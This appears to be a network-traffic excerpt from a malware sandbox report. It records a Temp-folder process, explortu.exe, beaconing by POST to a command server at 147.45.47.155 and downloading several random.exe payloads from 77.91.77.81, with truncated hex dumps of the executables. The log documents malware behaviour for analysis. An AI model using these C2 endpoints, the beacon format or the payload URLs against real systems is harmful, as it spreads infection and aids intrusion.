Jun 20, 2024 15:38:06.047497034 CEST	1236	IN	Data Raw: 6e 6b 31 32 7d 6a 6f ad df f7 cf ff 01 79 94 56 ce 87 79 27 1e 11 e7 de 62 73 53 ea ef 0b 57 a0 ec 4e 84 ae 0d 0d a9 3b e2 53 0d 1f 50 af 41 dd d5 23 0c ac 53 7a c4 89 a5 16 26 92 12 5b 18 b8 e7 0c 58 18 58 a2 5d b2 62 90 91 ae 2e 76 76 9d eb 99 Data Ascii: nk12}joyVy'bsSWN;SPA#Sz&[XX]b.vv2p*](T?7wIF-9k#g_b2.h\dajTwI"?Fc6t\|QdjzHg@z8fgKVy{OkNi~>:W_QD:r=COw(HA'>NV
Jun 20, 2024 15:38:06.059365988 CEST	1236	IN	Data Raw: b8 20 cd 51 bf f5 77 6c 66 c4 b3 f0 e3 67 00 fc cb 8a 3d 13 93 8d a4 52 d7 be 12 ad 2e 76 0b 19 b6 31 ec 5e 45 0b 0f 6f 67 d6 6d 34 97 8f e0 6f ff 4b c2 d1 b8 cb 5c 89 6d 35 bc b7 3c 58 60 b5 a3 1b fe a1 7c d6 d8 81 e5 53 6c 15 09 1f 18 7f 0e d2 Data Ascii: Qwlfg=R.v1^Eogm4oK\m5<X`\|Sl4w)wb/.YM},^[zq'<l^0Y:Eq>.@8{=S@~){;iw'_8bE^rG:%5UeQDuS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:08.233802080 CEST	182	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000014031&unit=246122658369
Jun 20, 2024 15:38:08.903605938 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	77.91.77.81	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:08.910826921 CEST	52	OUT	GET /soka/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 20, 2024 15:38:09.645101070 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:09 GMT Content-Type: application/octet-stream Content-Length: 1888256 Last-Modified: Thu, 20 Jun 2024 10:16:14 GMT Connection: keep-alive ETag: "6674016e-1cd000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2a cf 5e 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL^f@K@pK@XlH&K%K @.rsrc@.idata @ @fxenntljp1@rfqkatsz0K@.taggant0@K"@
Jun 20, 2024 15:38:09.645144939 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:09.645200014 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:09.645232916 CEST	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:09.645832062 CEST	1236	IN	Data Raw: c3 22 d9 42 e5 d9 c2 e2 9a da 90 b2 ec 38 6e fc 6d de d4 bc d6 da f7 e4 26 4a 4a 12 ce c0 8c c1 b0 d9 e4 11 d3 63 9a 52 bc b1 6b 3e 42 bc 90 7a d4 26 bb 89 37 c2 58 be 02 91 2e 91 44 5a 99 ee d9 41 98 0a 75 59 c9 99 bb d4 98 ea 25 ce 1c e3 e5 03 Data Ascii: "B8nm&JJcRk>Bz&7X.DZAuY%J""~x"1 9p$%mbc-4@dN8C-!}l9+~j w\|2z$=*mhC2!D&={p:#r:
Jun 20, 2024 15:38:09.645867109 CEST	1236	IN	Data Raw: 0e e5 6a a2 b0 44 c9 aa da 4a 98 8a 74 fe 41 27 f1 d9 90 8a bc 46 bc 72 77 3e 99 5e 7c 51 63 7d c4 7a ad 22 19 e5 70 23 81 2a cb d9 46 3a 6b 32 d5 0e d5 21 b8 f3 d8 22 8e 3d 49 43 e2 e2 32 21 45 ed ca 63 a2 d8 b8 5d 92 f1 88 48 98 da b0 b6 f3 4a Data Ascii: jDJtA'Frw>^\|Qc}z"p#*F:k2!"=IC2!Ec]HJT%X-r.zi"@X\>mZAxzAbi!?d"VmA!!c\|VCJ-:^XR@d!@1QYjJ#nq"
Jun 20, 2024 15:38:09.645900011 CEST	448	IN	Data Raw: 78 17 c4 de 82 16 b7 7b 8e 30 35 14 71 bb 67 0e da f6 7d af f1 3f e5 2b 50 e7 de ee ac 2e 94 f4 3d 26 cd 1c 44 1e f9 1a 94 81 6d ba ce 28 4a f4 8f e7 34 83 3b b1 32 d6 24 a0 6c c6 d4 2a a1 4a 94 cd 10 15 7e 08 5e d3 fa ac 7c 33 c7 fd 4e 9d 1a 2f Data Ascii: x{05qg}?+P.=&Dm(J4;2$lJ~^\|3N/:E},pNJA#F&`g'yjm`u&<u%cB~Ez/J<=JVmS+reZE`F(Zjk
Jun 20, 2024 15:38:09.646461964 CEST	1236	IN	Data Raw: 83 eb e0 16 cc 7b 51 6b cd 7e b7 66 b7 01 ef 21 e6 a2 3a ad 6f 68 8d 77 50 a5 1d 84 da ab 19 3b d2 a2 72 55 05 89 5e 66 df c7 cb 3a b5 de 99 2d 58 c5 aa 94 3c 7c 3a 9c bf 5c be 61 1c 7e 6b c5 30 28 39 9c dd 40 e6 a1 58 be 98 fb 61 42 9b 6a f1 92 Data Ascii: {Qk~f!:ohwP;rU^f:-X<\|:\a~k0(9@XaBjN~L<5BKgre!`@!L21Y/_2#>Cv^0`QMT&nBRjjG2~i7I+e?Btkj]m
Jun 20, 2024 15:38:09.646497011 CEST	1236	IN	Data Raw: d0 18 60 68 c9 40 6e aa d0 ed 9c 09 a9 a6 60 6e 77 0b 34 0e da d9 44 9b 80 aa 36 c0 48 04 ad c3 28 44 a2 06 2f ce 84 92 04 3b d5 96 b0 06 02 b7 dc e2 28 62 88 1c 6f 64 a7 62 1d fc ff 2c 70 79 92 c7 5f 76 c6 ef 5e 89 e5 dc d3 68 8c aa 1b 85 db 2d Data Ascii: `h@n`nw4D6H(D/;(bodb,py_v^h-wIN)cL./MM<EXZMnn0_Za)Op~WHw%*Z5;Axt;GZ(Y;~!5Wqp0Vavi7DDMAl'8>ru\(
Jun 20, 2024 15:38:09.646527052 CEST	448	IN	Data Raw: 6c c1 d8 85 f0 67 2d 5f 00 4e 47 c0 f3 96 14 00 8d d6 c9 25 dd f2 3c df 4e 37 bb 26 05 18 09 ba 2d c7 de fe ec fa b0 1c b7 d9 ac 01 68 f7 78 c6 a4 72 2f 43 b8 a1 02 0d 99 03 6b 14 7f 2b aa 1e b9 41 a2 6d 12 9e a8 19 25 6e c1 0b 8b 6d 77 f7 7f 3e Data Ascii: lg-_NG%<N7&-hxr/Ck+Am%nmw>pO(sTD3S_j9sgI&tMJ6^iE^I&SH<wzwd6G6}T<o?+}st'qc%Rzv4St)y
Jun 20, 2024 15:38:09.651916027 CEST	1236	IN	Data Raw: ce f8 c3 4a fb 07 a6 67 bd 5b cc 5d c1 b4 9b bb a9 a6 eb b8 e5 36 6a 15 e2 7c 47 b6 d2 2b b1 c4 33 b1 3e a0 c3 c8 e2 84 1f 0f 5f c2 e3 a1 78 d2 6f 71 54 c9 68 e7 29 93 24 22 92 88 91 65 9f 04 b0 ef 4f b1 70 b9 21 cb 06 51 dd 36 bf ef 81 16 51 9a Data Ascii: Jg[]6j\|G+3>_xoqTh)$"eOp!Q6Qy7))Qw~X!<{Jf6njv2TR'hqElZF+*bd30YsGc$9A!ezub&[">'Hrh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49709	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:12.007853031 CEST	182	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 35 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000015002&unit=246122658369
Jun 20, 2024 15:38:12.706614017 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	77.91.77.81	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:12.780069113 CEST	52	OUT	GET /cost/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 20, 2024 15:38:13.597141027 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:13 GMT Content-Type: application/octet-stream Content-Length: 2471424 Last-Modified: Thu, 20 Jun 2024 10:14:41 GMT Connection: keep-alive ETag: "66740111-25b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 7c 03 00 00 00 00 00 00 50 60 00 00 10 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j.s.s.sep%sevset/sy*syw=syp4syvusew6seu/ser5s.rszz2sz/s./szq/sRich.sPELiLf'\|P`@`i&@^r8>`=`6@ @.rsrc8@.idata @ ,@lprblcfcE@njkxwkyq@`%@.taggant0P`"%@
Jun 20, 2024 15:38:13.597157001 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:13.597167969 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:13.597178936 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:13.597279072 CEST	1236	IN	Data Raw: 4d 21 76 55 7d c5 72 30 bf 05 01 c0 ad 74 3d 8f a7 5a b6 08 4b 6e d9 14 47 6a b9 14 39 52 d6 f1 19 54 a2 10 7b be ca 08 a8 c6 5e 14 fc 49 10 02 b7 4b f2 16 cb 49 3a f5 49 16 df 16 c1 cc 5d e2 06 e6 74 5e 4f 89 12 f2 3d c2 46 55 a6 4e 83 18 7b 3e Data Ascii: M!vU}r0t=ZKnGj9RT{^IKI:I]t^O=FUN{>b:&OfIbTZV+T,6l`frZ,zb8 >nZOb::Wcd\,q/Z1:n?>Vcey4dd7\|b11e],@b9
Jun 20, 2024 15:38:13.597290993 CEST	1236	IN	Data Raw: 42 a8 59 e1 7e 04 6c 08 37 96 85 28 b1 7a a0 20 c3 7e e5 60 87 7f a2 54 3f 6d 61 10 e5 33 eb 1a fa cd d6 6f b3 b2 20 15 fb 30 b7 04 a7 00 91 ac f8 c6 86 60 55 6a 74 b3 3d 4b 7a 82 02 eb 04 6d 53 ca 72 5e 9d 75 d4 58 b6 b3 73 a8 3b 76 f6 d8 be b4 Data Ascii: BY~l7(z ~`T?ma3o 0`Ujt=KzmSr^uXs;vKro5U/tx'{e[PZfR8GO2<f"oY'cH.U4T?[[T07HH[B}P?ABo'4v]"4A>
Jun 20, 2024 15:38:13.597300053 CEST	1236	IN	Data Raw: e4 73 93 56 07 e7 e6 b1 aa 6c b7 2c 26 5e e5 27 e7 8e 7f 9c 4f 3e f6 84 87 33 99 ff 3f 56 b4 b8 1a fc 76 15 ef fb 67 8c 68 48 0c 51 4f 7f 5e a4 86 c5 4e e1 a4 53 7b d9 c2 a7 a1 56 b9 8e 6a 75 0f 1e df e0 af 25 9f 6c 2b 7b 93 c7 ef 88 3e eb a4 59 Data Ascii: sVl,&^'O>3?VvghHQO^NS{Vju%l+{>Y%X0r^SAunY$b#u7`Q:<->~43B"Ry}fjWnQ2BM[OQ/BVoOI]*}k>
Jun 20, 2024 15:38:13.598278999 CEST	1236	IN	Data Raw: 1e 34 a7 5b 65 f3 69 b0 2b 5a a5 96 f8 2c b0 c1 21 22 fc 03 28 f4 3c d9 6c 51 f3 40 eb 26 5a 26 af 29 96 9f 3f 12 77 13 23 b2 97 d3 a8 2e 94 f1 75 ba 9b d4 a1 16 a9 e5 97 b5 a3 48 0d 36 3a d5 9d 43 7b c3 76 92 ca e5 20 ea 74 31 71 b5 32 cf c3 3f Data Ascii: 4[ei+Z,!"(<lQ@&Z&)?w#.uH6:C{v t1q2?At"QrW7X0e~vib&r0ps}Mtb?JT$NH1ftv=d6@I^Diox9a qf9XFi[e69/ KI^xR>8B=3TP.!3<
Jun 20, 2024 15:38:13.598311901 CEST	1236	IN	Data Raw: 1f fa a2 21 8d fc 6f 97 61 5a 26 fa a8 77 94 3b f0 42 f7 90 5f 5d 1c 69 1c cf 52 35 07 8d 5d d3 d2 0d c1 4b 69 e6 63 00 bb 13 44 e5 7f 32 5d 00 46 42 a0 70 68 ef c2 88 4b be f8 0f cf 4b 02 96 1f b0 5c cf 95 3e 3a dc f3 01 df bb 6d ab 46 dd 30 cd Data Ascii: !oaZ&w;B_]iR5]KicD2]FBphKK\>:mF0Ch{j7#'?=E'sjN ~U.9:(/2@b-6Te"?K5\|Xh50Lf:Ib[N6{b&#UE'#-d&m
Jun 20, 2024 15:38:13.598323107 CEST	1236	IN	Data Raw: 69 64 a5 4c 55 4b d2 d9 20 78 53 79 e2 2e 7e 74 d8 92 04 37 cd e3 e6 7f 2b 8e c6 dc 2b 61 3e d7 c8 d5 9c e9 27 df 66 40 c2 95 f9 7b c3 00 44 a8 41 03 4b fc 1c 26 2a a2 58 2c d6 d4 20 41 de b1 a7 25 59 ce f7 26 0a d4 e6 b5 32 b0 4c 73 d5 0a 9f f3 Data Ascii: idLUK xSy.~t7++a>'f@{DAK&X, A%Y&2Ls=lL;\_/~^#,mXy:f"J$gr&!@7#f1<9?O&#\/#XAuRp}kqfgXxsbU0VVn$ ~S25
Jun 20, 2024 15:38:13.598334074 CEST	1236	IN	Data Raw: f1 7e 86 41 2f 05 75 08 3b 80 6a 09 4f 5e 50 a1 3f 04 57 4e a8 87 14 af 17 db 42 27 c1 3d a3 20 71 78 48 18 7b 33 5b 87 a1 b5 d1 eb c5 d6 9d 8b 63 64 db d1 16 b3 c1 29 8d 43 68 7d 66 d0 0d 2b a6 ca 0d ac a5 6a 97 cd fb 48 8a 60 3e d1 e8 0f 63 39 Data Ascii: ~A/u;jO^P?WNB'= qxH{3[cd)Ch}f+jH`>c98an%e4AGowLZr-`2r~@V\| z7eS`Sf8;2Ob11i:8^):3r'R#Ka@:!~{2?pM7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:16.462403059 CEST	182	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Jun 20, 2024 15:38:17.131875038 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	77.91.77.81	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:17.156511068 CEST	52	OUT	GET /well/random.exe HTTP/1.1 Host: 77.91.77.81
Jun 20, 2024 15:38:17.826767921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:17 GMT Content-Type: application/octet-stream Content-Length: 2400256 Last-Modified: Thu, 20 Jun 2024 10:16:33 GMT Connection: keep-alive ETag: "66740181-24a000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 f7 00 74 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 00 10 56 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@n~{{{z{RichPELtf"V@@V6%@@@K_@\|aUhU 08@.rsrc\|a@`H@.idata @ p@scsndyuu0<@ijglijhdVz$@.taggant0V"~$@
Jun 20, 2024 15:38:17.826781034 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:17.826792955 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:17.826868057 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:17.826879025 CEST	1236	IN	Data Raw: d9 bb db f0 70 b9 55 01 d4 1f 60 59 e0 ba 2c b3 d4 09 22 b5 db f4 16 e6 e9 77 8f 1b 2e 2f ee 46 8a f7 71 3b ec 1e 20 86 13 b9 8d 53 e5 eb 1d 89 1f 90 c4 59 55 39 a1 82 92 9d 48 3d 4c d2 d6 46 24 e8 2e 53 18 5c bc b5 e0 1e 05 83 58 bc 51 64 44 96 Data Ascii: pU`Y,"w./Fq; SYU9H=LF$.S\XQdDU2{lQ/0Q#6kPUzPHZObaU6L[XQ<]P2K4<SWu"]PZ6XO5nSI'v[S&VofK H
Jun 20, 2024 15:38:17.826889038 CEST	1236	IN	Data Raw: d4 da de 4a 8b b8 f6 bd 89 cd e0 52 ce c2 f6 4e f8 f9 0c b6 ee 73 40 4f 1f be a3 8c c6 7c 10 22 67 8d b1 38 23 81 84 c9 e3 15 a8 b7 0a 86 e2 52 14 c1 0a a5 0d 7c 52 06 90 0c ef ae 90 a8 4d 53 69 96 d1 a8 8d 12 7b bc 5e 39 5f 9d 81 d6 0b ea 22 cb Data Ascii: JRNs@O\|"g8#R\|RMSi{^9_"=sJ4=g``'XQEru3G&W2D0:ZV^/"E45k.X9*Jp.Wk=#m2HS
Jun 20, 2024 15:38:17.826900005 CEST	1236	IN	Data Raw: fb b0 ba 39 ac 9e b2 3c 64 a0 ed 06 cf cd 6a 99 dc 3e b4 c0 1c 4d 48 4d 84 7b 50 8b 79 ad f0 bf 24 db da 7f 70 33 f1 02 cf 46 5b 7a 78 bb 2a c3 8c bd 2e 43 30 37 60 9f de ba 8a 79 38 bb 3e c3 40 62 93 43 44 60 18 b3 ce 00 4f 53 80 a0 2a bb e3 26 Data Ascii: 9<dj>MHM{Py$p3F[zx.C07`y8>@bCD`OS&_Sy9{gCnqiEANR@N{MfNxH{xZrLI_a'yZ&GgB+,=LL[S&SH+!D(gALcNe$J*XF
Jun 20, 2024 15:38:17.826972008 CEST	1236	IN	Data Raw: 1c 27 0c 32 e6 cc a5 66 ee c2 65 5f 03 33 d7 ea 00 9c 04 77 6f 9e ef 2b 91 3a cc 1a 1a 76 86 a0 d4 cd dd 99 0f 9e 23 6e c0 16 a3 23 5a 63 d8 8d 27 85 57 94 0d 22 dd 23 e3 69 35 40 03 fe af 7f 52 0c b6 09 65 dd ae 2b 9c c6 4f f3 36 82 d9 27 15 9d Data Ascii: '2fe_3wo+:v#n#Zc'W"#i5@Re+O6'*UZjL!S\|3\SE8DL-'OuXzSy;D%Ku\|'5:R`j'Z3$m,9$nhh!To%gR kD((IX+Hy=J8Mn
Jun 20, 2024 15:38:17.826982975 CEST	1236	IN	Data Raw: 69 f3 1d 55 f7 1f 36 b3 ea ce 12 87 8f a0 72 0c 36 ae 1a 47 b0 cd 4f 9d ca 33 55 66 3b e6 d6 73 60 78 3f 02 de aa 80 4d b0 a0 09 b8 9a f7 66 6c ac 2a 44 bd 1c 14 fd b2 8a 94 06 33 b8 0f 29 b6 c7 ab 40 92 c4 61 f0 5f 4a de 8b a2 94 a7 34 c2 d3 27 Data Ascii: iU6r6GO3Uf;s`x?Mfl*D3)@a_J4'/nT[I\$ShmCqbK,jh_Yhc%yiNI;3T\_VznB``~~Dg`4_i4}#6F1XUK:%
Jun 20, 2024 15:38:17.826993942 CEST	1236	IN	Data Raw: b0 b4 d6 3f d4 42 74 4c 78 e2 f6 1e 4f 1a d8 bf 66 01 6b 40 1b 0e 89 17 63 f1 e6 1a 24 a3 f1 62 5c fe ee 15 7d e0 b3 b6 90 da 01 2a e1 d7 d6 43 e4 e0 cd 45 e8 9b ad f0 3b c4 3b 2d 8b 25 41 a4 23 82 d2 ce c1 09 c1 55 6d ea c8 4f fc d7 71 d4 10 1b Data Ascii: ?BtLxOfk@c$b\}*CE;;-%A#UmOqMer5jfn>r:zRvCMy!U2#(}0DV&Z_~9&^XQN$w%U2`e#:UB!a)&DYH'
Jun 20, 2024 15:38:17.832609892 CEST	1236	IN	Data Raw: 04 6e f5 8c 64 fc 54 69 21 f9 1c df ae 7d e1 8d 8b 4a ac e7 2a cc 27 c3 f0 a7 c4 cc 02 30 e2 24 f1 62 d7 f0 47 b0 0e b4 c4 91 ee 91 ec c5 5e 8b 59 eb 05 26 0c 30 70 7b b9 bb fe 62 85 59 d0 17 02 e0 8e d3 4f f0 3a 8d 03 5c da 62 4b 5a fe bb 1e a6 Data Ascii: ndTi!}J'0$bG^Y&0p{bYO:\bKZ_ii'-<$%?IriPHspcBkm;KX!P'[R<UWQtJo2a:G1J^W Gixb2KTwwXwAw`(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
